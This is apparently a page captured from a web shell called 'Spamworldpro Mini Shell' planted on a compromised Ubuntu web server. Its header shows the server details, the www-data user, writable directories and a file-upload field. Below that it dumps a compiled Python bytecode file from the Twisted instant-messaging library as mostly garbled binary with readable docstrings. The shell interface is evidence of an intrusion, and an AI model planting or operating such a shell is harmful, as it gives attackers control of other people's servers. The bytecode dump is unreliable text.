Spamworldpro Mini Shell
Spamworldpro


Server : Apache/2.4.52 (Ubuntu)
System : Linux webserver 6.8.0-49-generic #49~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Wed Nov 6 17:42:15 UTC 2 x86_64
User : www-data ( 33)
PHP Version : 8.1.2-1ubuntu2.21
Disable Function : NONE
Directory :  /lib/python3/dist-packages/twisted/words/im/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/twisted/words/im/__pycache__/basesupport.cpython-310.pyc
o

�b�@s�dZddlmZddlmZddlmZmZddlm	Z	ddl
mZddlm
Z
ddlmZmZGd	d
�d
�ZGdd�d�ZGd
d�d�ZGdd�de	j�ZdS)zyInstance Messenger base classes for protocol support.

You will find these useful if you're adding a new protocol to IM.
�)�Type)�error)�Protocol�connectionDone)�styles)�Failure��prefixedMethods)�OFFLINE�OfflineErrorc@sPeZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdefdd
�Z	defdd�Z
dS)�
AbstractGroupcCs||_||_dS�N)�name�account)�selfrr�r�>/usr/lib/python3/dist-packages/twisted/words/im/basesupport.py�__init__s
zAbstractGroup.__init__cC�
t|d�S)z�finds group commands

        these commands are methods on me that start with imgroup_; they are
        called with no arguments
        �imgroup_r�rrrr�getGroupCommands�
zAbstractGroup.getGroupCommandscCr)a(finds group commands

        these commands are methods on me that start with imgroup_; they are
        called with a user present within this room as an argument

        you may want to override this in your group in order to filter for
        appropriate commands on the given user
        �	imtarget_r)r�targetrrr�getTargetCommands#s
	zAbstractGroup.getTargetCommandscC� |jjst�|jj�|j�dSr
)r�clientr�	joinGrouprrrrr�join.�zAbstractGroup.joincCrr
)rrr�
leaveGrouprrrrr�leave3r zAbstractGroup.leave�returncCsd|j�d|j�d�S)N�<� �>)�	__class__rrrrr�__repr__8szAbstractGroup.__repr__cC�|j�d|jj��S�N�@�rr�accountNamerrrr�__str__;�zAbstractGroup.__str__N)�__name__�
__module__�__qualname__rrrrr"�strr(r.rrrrrsrc@s@eZdZdd�Zdd�Zdd�Zdefdd	�Zdefd
d�ZdS)
�AbstractPersoncCs||_||_t|_dSr
)rrr
�status)rr�baseAccountrrrr@s
zAbstractPerson.__init__cCr)z�finds person commands

        these commands are methods on me that start with imperson_; they are
        called with no arguments
        �	imperson_rrrrr�getPersonCommandsErz AbstractPerson.getPersonCommandscCsdS)z#
        Returns a string.
        z--rrrrr�getIdleTimeMszAbstractPerson.getIdleTimer#cCsd|j�d|j�d|j�d�S)Nr$r%�/r&)r'rr5rrrrr(SszAbstractPerson.__repr__cCr)r*r,rrrrr.Vr/zAbstractPerson.__str__N)	r0r1r2rr8r9r3r(r.rrrrr4?sr4c@sLeZdZUdZdZeeed<dd�Zdd�Z	e
fdefd	d
�Zdd�Z
dS)
�AbstractClientMixinz�Designed to be mixed in to a Protocol implementing class.

    Inherit from me first.

    @ivar _logonDeferred: Fired when I am done logging in.
    N�
_protoBasecCs<|jjD]
}t|t�r||j_nq	||_||_||_dSr
)r'�	__bases__�
issubclassrr<r�chat�_logonDeferred)rr�chatui�
logonDeferred�baserrrrds
�
zAbstractClientMixin.__init__cCs|j�|�dSr
)r<�connectionMaderrrrrDosz"AbstractClientMixin.connectionMade�reasoncCs$|j�||�|��|j�||�Sr
)r�_clientLost�unregisterAsAccountClientr<�connectionLost�rrErrrrHrsz"AbstractClientMixin.connectionLostcCs|j�|�dS)z*Tell the chat UI that I have `signed off'.N)r?�unregisterAccountClientrrrrrGwsz-AbstractClientMixin.unregisterAsAccountClient)r0r1r2�__doc__r<rr�__annotations__rrDrrrHrGrrrrr;Zs
r;c@s�eZdZdZdZdZdZeZe	Z
dZdd�Zdd�Z
d	d
�Zdd�Zd
d�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdefdd�ZdS)�AbstractAccountaBase class for Accounts.

    I am the start of an implementation of L{IAccount<interfaces.IAccount>}, I
    implement L{isOnline} and most of L{logOn}, though you'll need to implement
    L{_startLogOn} in a subclass.

    @cvar _groupFactory: A Callable that will return a L{IGroup} appropriate
        for this account type.
    @cvar _personFactory: A Callable that will return a L{IPerson} appropriate
        for this account type.

    @type _isConnecting: boolean
    @ivar _isConnecting: Whether I am in the process of establishing a
    connection to the server.
    @type _isOnline: boolean
    @ivar _isOnline: Whether I am currently on-line with the server.

    @ivar accountName:
    @ivar autoLogin:
    @ivar username:
    @ivar password:
    @ivar host:
    @ivar port:
    rN�cCs4||_||_||_||_||_||_i|_i|_dSr
)r-�	autoLogin�username�password�host�port�_groups�_persons)rr-rOrPrQrRrSrrrr�s
zAbstractAccount.__init__cCs$dD]
}t||�st||i�qdS)N)rTrU)�hasattr�setattr)r�krrr�upgrateToVersion2�s

��z!AbstractAccount.upgrateToVersion2c	Cs6tj�|�}dD]}z||=WqtyYqw|S)N)r�	_isOnline�
_isConnecting)r�	Versioned�__getstate__�KeyError)r�staterXrrrr]�s
�zAbstractAccount.__getstate__cCs|jSr
)rZrrrr�isOnline�szAbstractAccount.isOnlinecCsN|js"|js"d|_|�|�}|�|j�|�|j�|�|j�|St�	d��)a=Log on to this account.

        Takes care to not start a connection if a connection is
        already in progress.  You will need to implement
        L{_startLogOn} for this to work, and it would be a good idea
        to override L{_loginFailed} too.

        @returntype: Deferred L{interfaces.IClient}
        �zConnection in progress)
r[rZ�_startLogOn�addCallback�	_cb_logOn�registerAccountClient�
addErrback�_loginFailedr�ConnectError)rrA�drrr�logOn�s


zAbstractAccount.logOncC�.|j�|�}|dur|�||�}||j|<|S)zkGroup factory.

        @param name: Name of the group on this account.
        @type name: string
        N)rT�get�
_groupFactory)rr�grouprrr�getGroup��

zAbstractAccount.getGroupcCrk)zmPerson factory.

        @param name: Name of the person on this account.
        @type name: string
        N)rUrl�_personFactory)rr�personrrr�	getPerson�rpzAbstractAccount.getPersoncCst��)z{Start the sign on process.

        Factored out of L{logOn}.

        @returntype: Deferred L{interfaces.IClient}
        )�NotImplementedError)rrArrrrb�szAbstractAccount._startLogOncCsd|_d|_||_|S)Nrra)r[rZr)rrrrrrd��zAbstractAccount._cb_logOncCsd|_d|_|S)z�Errorback for L{logOn}.

        @type reason: Failure

        @returns: I{reason}, for further processing in the callback chain.
        @returntype: Failure
        r)r[rZrIrrrrg�szAbstractAccount._loginFailedcCsd|_d|_d|_|S)Nr)rr[rZ)rrrErrrrFruzAbstractAccount._clientLostr#cCsd�|j|j|j|j|j�S)Nz<{}: {} ({}@{}:{})>)�formatr'r-rPrRrSrrrrr(s�zAbstractAccount.__repr__)r0r1r2rKrZr[rrrmr4rq�persistanceVersionrrYr]r`rjrorsrbrdrgrFr3r(rrrrrM|s(		rMN)rK�typingr�twisted.internetr�twisted.internet.protocolrr�twisted.persistedr�twisted.python.failurer�twisted.python.reflectr	�twisted.words.im.localsr
rrr4r;r\rMrrrr�<module>s)"

Spamworldpro Mini